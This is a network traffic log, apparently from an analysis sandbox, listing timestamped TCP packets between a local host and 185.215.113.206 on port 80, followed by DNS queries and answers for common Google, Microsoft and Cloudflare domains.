Nov 27, 2024 11:14:48.758996964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.759704113 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.759769917 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.759804010 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.759928942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.760679960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.760740042 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.760756969 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.760782003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.761405945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.761454105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.761488914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.761559963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.762386084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.762397051 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.762449026 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.781627893 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.781694889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.781733990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.781744957 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.781773090 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.781795025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.781840086 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.782593966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.782638073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.782707930 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.782772064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.783410072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.783466101 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.783545971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.783624887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.858988047 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.859076977 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.859103918 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.859241962 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.859451056 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.859523058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.859538078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.859589100 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.860258102 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.860313892 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.860369921 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.860419035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.860958099 CET	443	49904	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.861104012 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.861169100 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.861224890 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.861274004 CET	49904	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.861289978 CET	443	49904	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.861296892 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.861654997 CET	443	49904	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.861953020 CET	49904	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.861958981 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.862018108 CET	443	49904	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.862066984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.862067938 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.862164974 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.862826109 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.862898111 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.862919092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.862965107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.863668919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.863720894 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.863754034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.863786936 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.864499092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.864547014 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.864573002 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.864629984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.865345001 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.865514994 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.865542889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.865566015 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.866156101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.866208076 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.866278887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.866324902 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.867579937 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.867705107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.867721081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.867765903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.868073940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.868129015 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.868130922 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.868199110 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.868887901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.868942976 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.869203091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.869395971 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.869527102 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.869615078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.869637012 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.869714975 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.870408058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.870455027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.870455980 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.870507002 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.871284008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.871341944 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.871351004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.871406078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.872054100 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.872108936 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.872119904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.872175932 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.872950077 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.873008013 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.873050928 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.873120070 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.873804092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.873895884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.873955965 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.874686003 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.874748945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.875009060 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.875160933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.875437975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.875494003 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.875514030 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.875530005 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.876267910 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.876348972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.876384974 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.876497984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.877103090 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.877139091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.877159119 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.877196074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.877917051 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.877979040 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.936372042 CET	49904	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.941978931 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.941991091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.942048073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.942214012 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.942300081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.942317963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.942384005 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.943094969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.943109035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.943180084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.943900108 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.943974018 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.944004059 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.944050074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.944508076 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.944580078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.944596052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.944649935 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.945338964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.945400000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.945462942 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.945512056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.946208954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.946260929 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.946316004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.946363926 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.947030067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.947088003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.947156906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.947305918 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.947882891 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.947901964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.947957039 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.947957039 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.948812962 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.948910952 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.948920012 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.948968887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.949589968 CET	80	49830	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 27, 2024 11:14:23.613053083 CET	192.168.2.6	1.1.1.1	0x42b4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:23.613563061 CET	192.168.2.6	1.1.1.1	0xa1d6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:30.548923016 CET	192.168.2.6	1.1.1.1	0xecc4	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:30.549144030 CET	192.168.2.6	1.1.1.1	0x2b18	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:31.543164015 CET	192.168.2.6	1.1.1.1	0xccbf	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:31.543164015 CET	192.168.2.6	1.1.1.1	0xb1f8	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:35.811031103 CET	192.168.2.6	1.1.1.1	0x3eb2	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:35.811274052 CET	192.168.2.6	1.1.1.1	0x6e71	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:38.268430948 CET	192.168.2.6	1.1.1.1	0x66d9	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:38.268596888 CET	192.168.2.6	1.1.1.1	0x81b5	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 27, 2024 11:14:39.057749987 CET	192.168.2.6	1.1.1.1	0xc29a	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:39.058018923 CET	192.168.2.6	1.1.1.1	0xa807	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:40.441745996 CET	192.168.2.6	1.1.1.1	0xfee0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:40.441925049 CET	192.168.2.6	1.1.1.1	0x91ac	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:40.442589045 CET	192.168.2.6	1.1.1.1	0x3f6e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:40.442786932 CET	192.168.2.6	1.1.1.1	0x3030	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:40.452564955 CET	192.168.2.6	1.1.1.1	0x3781	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:40.452799082 CET	192.168.2.6	1.1.1.1	0x50d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:41.061254978 CET	192.168.2.6	1.1.1.1	0xbcfb	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:41.061590910 CET	192.168.2.6	1.1.1.1	0xd3de	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:41.068206072 CET	192.168.2.6	1.1.1.1	0xe310	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:41.068583012 CET	192.168.2.6	1.1.1.1	0x8768	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:41.202548981 CET	192.168.2.6	1.1.1.1	0x2252	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:41.202898979 CET	192.168.2.6	1.1.1.1	0x7d64	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 27, 2024 11:14:41.343755007 CET	192.168.2.6	1.1.1.1	0xa0b1	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:41.343907118 CET	192.168.2.6	1.1.1.1	0x4188	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 27, 2024 11:14:23.750432014 CET	1.1.1.1	192.168.2.6	0x42b4	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:23.751034021 CET	1.1.1.1	192.168.2.6	0xa1d6	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 27, 2024 11:14:30.686217070 CET	1.1.1.1	192.168.2.6	0xecc4	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:30.686217070 CET	1.1.1.1	192.168.2.6	0xecc4	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:30.686467886 CET	1.1.1.1	192.168.2.6	0x2b18	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:31.974236012 CET	1.1.1.1	192.168.2.6	0xccbf	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:35.948174000 CET	1.1.1.1	192.168.2.6	0x3eb2	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:35.948564053 CET	1.1.1.1	192.168.2.6	0x6e71	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:35.971172094 CET	1.1.1.1	192.168.2.6	0xa06b	No error (0)	b-0005.b-dc-msedge.net		13.107.9.158	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:36.582218885 CET	1.1.1.1	192.168.2.6	0xb8dd	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:36.582218885 CET	1.1.1.1	192.168.2.6	0xb8dd	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:36.582485914 CET	1.1.1.1	192.168.2.6	0x4b54	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:38.405771971 CET	1.1.1.1	192.168.2.6	0x81b5	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:38.406280994 CET	1.1.1.1	192.168.2.6	0x66d9	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:39.195457935 CET	1.1.1.1	192.168.2.6	0xc29a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:39.195457935 CET	1.1.1.1	192.168.2.6	0xc29a	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:39.196260929 CET	1.1.1.1	192.168.2.6	0xa807	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:40.579083920 CET	1.1.1.1	192.168.2.6	0x91ac	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 27, 2024 11:14:40.579129934 CET	1.1.1.1	192.168.2.6	0xfee0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:40.579129934 CET	1.1.1.1	192.168.2.6	0xfee0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:40.580068111 CET	1.1.1.1	192.168.2.6	0x3f6e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:40.580068111 CET	1.1.1.1	192.168.2.6	0x3f6e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:40.580338001 CET	1.1.1.1	192.168.2.6	0x3030	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 27, 2024 11:14:40.589927912 CET	1.1.1.1	192.168.2.6	0x3781	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:40.589927912 CET	1.1.1.1	192.168.2.6	0x3781	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:40.589982033 CET	1.1.1.1	192.168.2.6	0x50d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 27, 2024 11:14:41.199783087 CET	1.1.1.1	192.168.2.6	0xbcfb	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:41.199783087 CET	1.1.1.1	192.168.2.6	0xbcfb	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:41.199783087 CET	1.1.1.1	192.168.2.6	0xbcfb	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:41.199783087 CET	1.1.1.1	192.168.2.6	0xbcfb	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:41.205622911 CET	1.1.1.1	192.168.2.6	0x8768	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:41.205899954 CET	1.1.1.1	192.168.2.6	0xe310	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:41.340007067 CET	1.1.1.1	192.168.2.6	0x2252	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:41.340069056 CET	1.1.1.1	192.168.2.6	0x7d64	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:41.481055021 CET	1.1.1.1	192.168.2.6	0x4188	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:41.481596947 CET	1.1.1.1	192.168.2.6	0xa0b1	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:42.030220032 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:42.030220032 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:43.080780029 CET	1.1.1.1	192.168.2.6	0x6029	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:43.080780029 CET	1.1.1.1	192.168.2.6	0x6029	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:43.677205086 CET	1.1.1.1	192.168.2.6	0xfd5e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:43.677205086 CET	1.1.1.1	192.168.2.6	0xfd5e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:45.699364901 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:45.699364901 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:46.710577011 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:46.710577011 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:47.724315882 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:47.724315882 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:49.737612963 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:49.737612963 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:14:53.754749060 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 11:14:53.754749060 CET	1.1.1.1	192.168.2.6	0x3e6c	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:01.954956055 CET	1.1.1.1	192.168.2.6	0x262a	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
